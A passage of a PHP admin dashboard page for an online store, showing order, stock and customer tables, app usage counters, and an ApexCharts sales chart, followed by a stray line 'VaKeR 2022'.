                                <span class="badge
                                             bg-light
                                             text-dark
                                             rounded-pill">

                                    <?= e(
                                        strtoupper(
                                            $order['payment_type']
                                        )
                                    ); ?>

                                </span>

                            </td>


                            <td>

                                <span class="
                                    status-badge
                                    <?= e(
                                        $badge['class']
                                    ); ?>
                                ">

                                    <i class="fa-solid
                                              <?= e(
                                                  $badge['icon']
                                              ); ?>"></i>

                                    <?= e(
                                        $badge['label']
                                    ); ?>

                                </span>

                            </td>


                            <td>

                                <strong>

                                    <?= money(
                                        $order['total_amount'],
                                        $currency_symbol
                                    ); ?>

                                </strong>

                            </td>


                            <td>

                                <div class="small fw-semibold">

                                    <?= date(
                                        'd M Y',
                                        strtotime(
                                            $order['created_at']
                                        )
                                    ); ?>

                                </div>

                                <small class="text-muted">

                                    <?= date(
                                        'h:i A',
                                        strtotime(
                                            $order['created_at']
                                        )
                                    ); ?>

                                </small>

                            </td>

                        </tr>

                    <?php endforeach; ?>

                <?php else: ?>

                    <tr>

                        <td
                            colspan="6"
                            class="text-center
                                   py-5
                                   text-muted"
                        >

                            <i class="fa-solid
                                      fa-box-open
                                      fa-2x
                                      mb-3"></i>

                            <div class="fw-bold">
                                No Orders Found
                            </div>

                        </td>

                    </tr>

                <?php endif; ?>

                </tbody>

            </table>

        </div>

    </div>

</div>


<!-- Quick Actions -->

<div class="col-xl-4">

    <div class="premium-card h-100">

        <div class="premium-header">

            <h5 class="section-title">

                <i class="fa-solid
                          fa-bolt
                          text-warning
                          me-2"></i>

                Quick Actions

            </h5>

            <div class="section-subtitle">

                Manage important store modules

            </div>

        </div>

        <div class="card-body p-4">

            <div class="d-grid gap-3">


                <a
                    href="orders.php"
                    class="quick-action"
                >

                    <div class="d-flex
                                align-items-center
                                justify-content-between">

                        <div class="d-flex
                                    align-items-center
                                    gap-3">

                            <div class="
                                quick-icon
                                icon-primary
                            ">

                                <i class="fa-solid
                                          fa-bag-shopping"></i>

                            </div>

                            <div>

                                <div class="fw-bold small">
                                    Manage Orders
                                </div>

                                <small class="text-muted">

                                    <?= number_format(
                                        $pending_orders
                                    ); ?>

                                    pending orders

                                </small>

                            </div>

                        </div>

                        <i class="fa-solid
                                  fa-chevron-right
                                  text-muted"></i>

                    </div>

                </a>


                <a
                    href="product.php"
                    class="quick-action"
                >

                    <div class="d-flex
                                align-items-center
                                justify-content-between">

                        <div class="d-flex
                                    align-items-center
                                    gap-3">

                            <div class="
                                quick-icon
                                icon-success
                            ">

                                <i class="fa-solid
                                          fa-boxes-stacked"></i>

                            </div>

                            <div>

                                <div class="fw-bold small">
                                    Manage Products
                                </div>

                                <small class="text-muted">

                                    <?= number_format(
                                        $low_stock
                                    ); ?>

                                    low stock items

                                </small>

                            </div>

                        </div>

                        <i class="fa-solid
                                  fa-chevron-right
                                  text-muted"></i>

                    </div>

                </a>


                <a
                    href="users.php"
                    class="quick-action"
                >

                    <div class="d-flex
                                align-items-center
                                justify-content-between">

                        <div class="d-flex
                                    align-items-center
                                    gap-3">

                            <div class="
                                quick-icon
                                icon-info
                            ">

                                <i class="fa-solid
                                          fa-users"></i>

                            </div>

                            <div>

                                <div class="fw-bold small">
                                    Customers
                                </div>

                                <small class="text-muted">

                                    <?= number_format(
                                        $total_users
                                    ); ?>

                                    registered users

                                </small>

                            </div>

                        </div>

                        <i class="fa-solid
                                  fa-chevron-right
                                  text-muted"></i>

                    </div>

                </a>


                <div class="quick-action">

                    <div class="d-flex
                                align-items-center
                                justify-content-between">

                        <div class="d-flex
                                    align-items-center
                                    gap-3">

                            <div class="
                                quick-icon
                                icon-warning
                            ">

                                <i class="fa-solid
                                          fa-key"></i>

                            </div>

                            <div>

                                <div class="fw-bold small">
                                    Pending OTP
                                </div>

                                <small class="text-muted">

                                    <?= number_format(
                                        $pending_otp
                                    ); ?>

                                    reset requests

                                </small>

                            </div>

                        </div>

                        <span class="badge
                                     bg-warning
                                     text-dark
                                     rounded-pill">

                            Live

                        </span>

                    </div>

                </div>

            </div>

        </div>

    </div>

</div>

</div>


<!-- ==========================================================
     LOW STOCK + CUSTOMER ACTIVITY
========================================================== -->

<div class="row g-4">


<!-- Low Stock -->

<div class="col-xl-6">

    <div class="premium-card h-100">

        <div class="premium-header">

            <h5 class="section-title">

                <i class="fa-solid
                          fa-triangle-exclamation
                          text-warning
                          me-2"></i>

                Stock Attention

            </h5>

            <div class="section-subtitle">

                Products requiring inventory action

            </div>

        </div>

        <div class="table-responsive">

            <table class="table dashboard-table">

                <thead>

                    <tr>

                        <th>Product</th>
                        <th>Stock</th>
                        <th>Price</th>

                    </tr>

                </thead>

                <tbody>

                <?php if (!empty($lowStockProducts)): ?>

                    <?php foreach ($lowStockProducts as $product): ?>

                        <tr>

                            <td>

                                <div class="d-flex
                                            align-items-center
                                            gap-3">

                                    <?php if (!empty($product['image'])): ?>

                                        <img
                                            src="../admin/dataimg/<?= e(
                                                $product['image']
                                            ); ?>"
                                            class="product-thumb"
                                            alt=""
                                        >

                                    <?php else: ?>

                                        <div class="
                                            product-thumb
                                            d-flex
                                            align-items-center
                                            justify-content-center
                                            bg-light
                                        ">

                                            <i class="fa-solid
                                                      fa-image
                                                      text-muted"></i>

                                        </div>

                                    <?php endif; ?>

                                    <div>

                                        <div class="fw-bold small">

                                            <?= e(
                                                $product['title']
                                            ); ?>

                                        </div>

                                        <small class="text-muted">

                                            Product ID:
                                            <?= (int)$product['id']; ?>

                                        </small>

                                    </div>

                                </div>

                            </td>


                            <td>

                                <?php if ((int)$product['stock'] <= 0): ?>

                                    <span class="
                                        status-badge
                                        status-danger
                                    ">

                                        Sold Out

                                    </span>

                                <?php else: ?>

                                    <span class="
                                        status-badge
                                        status-warning
                                    ">

                                        <?= (int)$product['stock']; ?>

                                        left

                                    </span>

                                <?php endif; ?>

                            </td>


                            <td>

                                <strong>

                                    <?= money(
                                        $product['price'],
                                        $currency_symbol
                                    ); ?>

                                </strong>

                            </td>

                        </tr>

                    <?php endforeach; ?>

                <?php else: ?>

                    <tr>

                        <td
                            colspan="3"
                            class="text-center
                                   py-5
                                   text-muted"
                        >

                            No low stock products

                        </td>

                    </tr>

                <?php endif; ?>

                </tbody>

            </table>

        </div>

    </div>

</div>


<!-- Recent Users -->

<div class="col-xl-6">

    <div class="premium-card h-100">

        <div class="premium-header">

            <h5 class="section-title">

                <i class="fa-solid
                          fa-user-plus
                          text-info
                          me-2"></i>

                Recent Customers

            </h5>

            <div class="section-subtitle">

                Latest registered and social users

            </div>

        </div>

        <div class="table-responsive">

            <table class="table dashboard-table">

                <thead>

                    <tr>

                        <th>Customer</th>
                        <th>Login Type</th>
                        <th>Joined</th>

                    </tr>

                </thead>

                <tbody>

                <?php if (!empty($recentUsers)): ?>

                    <?php foreach ($recentUsers as $customer): ?>

                        <tr>

                            <td>

                                <div class="d-flex
                                            align-items-center
                                            gap-3">

                                    <?php if (!empty($customer['profile_image'])): ?>

                                        <img
                                            src="<?= e(
                                                $customer['profile_image']
                                            ); ?>"
                                            class="user-avatar"
                                            alt=""
                                        >

                                    <?php else: ?>

                                        <div class="user-avatar">

                                            <?= e(
                                                strtoupper(
                                                    substr(
                                                        $customer['username']
                                                        ?: 'U',
                                                        0,
                                                        1
                                                    )
                                                )
                                            ); ?>

                                        </div>

                                    <?php endif; ?>

                                    <div>

                                        <div class="fw-bold small">

                                            <?= e(
                                                $customer['username']
                                                ?: 'User'
                                            ); ?>

                                        </div>

                                        <small class="text-muted">

                                            <?= e(
                                                $customer['email']
                                            ); ?>

                                        </small>

                                    </div>

                                </div>

                            </td>


                            <td>

                                <?php

                                $socialType =
                                    strtolower(
                                        trim(
                                            $customer['social_type']
                                        )
                                    );

                                ?>

                                <?php if ($socialType === 'google'): ?>

                                    <span class="badge
                                                 bg-danger
                                                 bg-opacity-10
                                                 text-danger
                                                 rounded-pill">

                                        <i class="fa-brands
                                                  fa-google
                                                  me-1"></i>

                                        Google

                                    </span>

                                <?php elseif ($socialType === 'facebook'): ?>

                                    <span class="badge
                                                 bg-primary
                                                 bg-opacity-10
                                                 text-primary
                                                 rounded-pill">

                                        <i class="fa-brands
                                                  fa-facebook
                                                  me-1"></i>

                                        Facebook

                                    </span>

                                <?php else: ?>

                                    <span class="badge
                                                 bg-light
                                                 text-dark
                                                 rounded-pill">

                                        Email

                                    </span>

                                <?php endif; ?>

                            </td>


                            <td>

                                <?php if (!empty($customer['created_date'])): ?>

                                    <div class="small fw-semibold">

                                        <?= date(
                                            'd M Y',
                                            strtotime(
                                                $customer['created_date']
                                            )
                                        ); ?>

                                    </div>

                                <?php else: ?>

                                    <small class="text-muted">
                                        -
                                    </small>

                                <?php endif; ?>

                            </td>

                        </tr>

                    <?php endforeach; ?>

                <?php else: ?>

                    <tr>

                        <td
                            colspan="3"
                            class="text-center
                                   py-5
                                   text-muted"
                        >

                            No customers found

                        </td>

                    </tr>

                <?php endif; ?>

                </tbody>

            </table>

        </div>

    </div>

</div>

</div>


<!-- ==========================================================
     API ECOSYSTEM SNAPSHOT
========================================================== -->

<div class="row g-4 mt-1">

<div class="col-12">

    <div class="premium-card">

        <div class="premium-header">

            <h5 class="section-title">

                <i class="fa-solid
                          fa-layer-group
                          text-primary
                          me-2"></i>

                Mobile App Ecosystem Snapshot

            </h5>

            <div class="section-subtitle">

                Live usage indicators from implemented APIs

            </div>

        </div>

        <div class="card-body p-4">

            <div class="row g-3">


                <div class="col-6 col-md-3 col-xl-2">

                    <div class="mini-card text-center">

                        <div class="mini-value text-primary">

                            <?= number_format(
                                $social_users
                            ); ?>

                        </div>

                        <div class="mini-label">
                            Social Users
                        </div>

                    </div>

                </div>


                <div class="col-6 col-md-3 col-xl-2">

                    <div class="mini-card text-center">

                        <div class="mini-value text-danger">

                            <?= number_format(
                                $google_users
                            ); ?>

                        </div>

                        <div class="mini-label">
                            Google Login
                        </div>

                    </div>

                </div>


                <div class="col-6 col-md-3 col-xl-2">

                    <div class="mini-card text-center">

                        <div class="mini-value text-primary">

                            <?= number_format(
                                $facebook_users
                            ); ?>

                        </div>

                        <div class="mini-label">
                            Facebook Login
                        </div>

                    </div>

                </div>


                <div class="col-6 col-md-3 col-xl-2">

                    <div class="mini-card text-center">

                        <div class="mini-value text-success">

                            <?= number_format(
                                $online_orders
                            ); ?>

                        </div>

                        <div class="mini-label">
                            Online Orders
                        </div>

                    </div>

                </div>


                <div class="col-6 col-md-3 col-xl-2">

                    <div class="mini-card text-center">

                        <div class="mini-value text-warning">

                            <?= number_format(
                                $cod_orders
                            ); ?>

                        </div>

                        <div class="mini-label">
                            COD Orders
                        </div>

                    </div>

                </div>


                <div class="col-6 col-md-3 col-xl-2">

                    <div class="mini-card text-center">

                        <div class="mini-value text-info">

                            <?= number_format(
                                $total_contacts
                            ); ?>

                        </div>

                        <div class="mini-label">
                            Enquiries
                        </div>

                    </div>

                </div>

            </div>

        </div>

    </div>

</div>

</div>


</div>
</div>


<!-- ==========================================================
     JS
========================================================== -->

<script src="../assets/vendor/libs/jquery/jquery.js"></script>
<script src="../assets/vendor/js/bootstrap.js"></script>
<script src="../assets/vendor/libs/apex-charts/apexcharts.js"></script>
<script src="../assets/js/main.js"></script>


<!-- ==========================================================
     HIGH LEVEL CHART
========================================================== -->

<script>

document.addEventListener(
    "DOMContentLoaded",
    function () {

        const chartElement =
            document.querySelector(
                "#storeAnalyticsChart"
            );

        if (!chartElement) {
            return;
        }

        const options = {

            series: [

                {
                    name: "Orders",
                    type: "column",
                    data:
                        <?= json_encode(
                            $orders_trend,
                            JSON_NUMERIC_CHECK
                        ); ?>
                },

                {
                    name: "Revenue",
                    type: "area",
                    data:
                        <?= json_encode(
                            $revenue_trend,
                            JSON_NUMERIC_CHECK
                        ); ?>
                },

                {
                    name: "Cancelled",
                    type: "line",
                    data:
                        <?= json_encode(
                            $cancel_trend,
                            JSON_NUMERIC_CHECK
                        ); ?>
                }

            ],

            chart: {

                height: 370,

                type: "line",

                stacked: false,

                toolbar: {
                    show: false
                },

                zoom: {
                    enabled: false
                },

                fontFamily:
                    "Public Sans, sans-serif"
            },

            colors: [
                "#696cff",
                "#28c76f",
                "#ea5455"
            ],

            stroke: {

                width: [
                    0,
                    3,
                    3
                ],

                curve: "smooth"
            },

            plotOptions: {

                bar: {

                    columnWidth: "38%",

                    borderRadius: 6
                }
            },

            fill: {

                opacity: [
                    1,
                    .18,
                    1
                ],

                gradient: {

                    shadeIntensity: 1,

                    opacityFrom: .35,

                    opacityTo: .05,

                    stops: [
                        0,
                        90,
                        100
                    ]
                }
            },

            dataLabels: {
                enabled: false
            },

            markers: {

                size: [
                    0,
                    4,
                    4
                ],

                strokeWidth: 0,

                hover: {
                    size: 7
                }
            },

            xaxis: {

                categories:
                    <?= json_encode(
                        $months_array
                    ); ?>,

                labels: {

                    style: {

                        colors: "#8a8d93",

                        fontSize: "12px"
                    }
                },

                axisBorder: {
                    show: false
                },

                axisTicks: {
                    show: false
                }
            },

            yaxis: [

                {
                    title: {
                        text: "Orders"
                    },

                    min: 0,

                    labels: {

                        formatter:
                            function (value) {

                                return Math.round(
                                    value
                                );
                            }
                    }
                },

                {
                    opposite: true,

                    title: {
                        text:
                            "Revenue (<?= e(
                                $currency_symbol
                            ); ?>)"
                    },

                    min: 0,

                    labels: {

                        formatter:
                            function (value) {

                                return "<?= e(
                                    $currency_symbol
                                ); ?>" +
                                Math.round(value);
                            }
                    }
                }

            ],

            grid: {

                borderColor: "#ebeef2",

                strokeDashArray: 5
            },

            legend: {

                position: "top",

                horizontalAlign: "right"
            },

            tooltip: {

                shared: true,

                intersect: false
            },

            responsive: [

                {
                    breakpoint: 768,

                    options: {

                        chart: {
                            height: 320
                        },

                        legend: {
                            position: "bottom"
                        }
                    }
                }

            ]

        };

        const chart = new ApexCharts(
            chartElement,
            options
        );

        chart.render();
    }
);

</script>

</body>
</html>

VaKeR 2022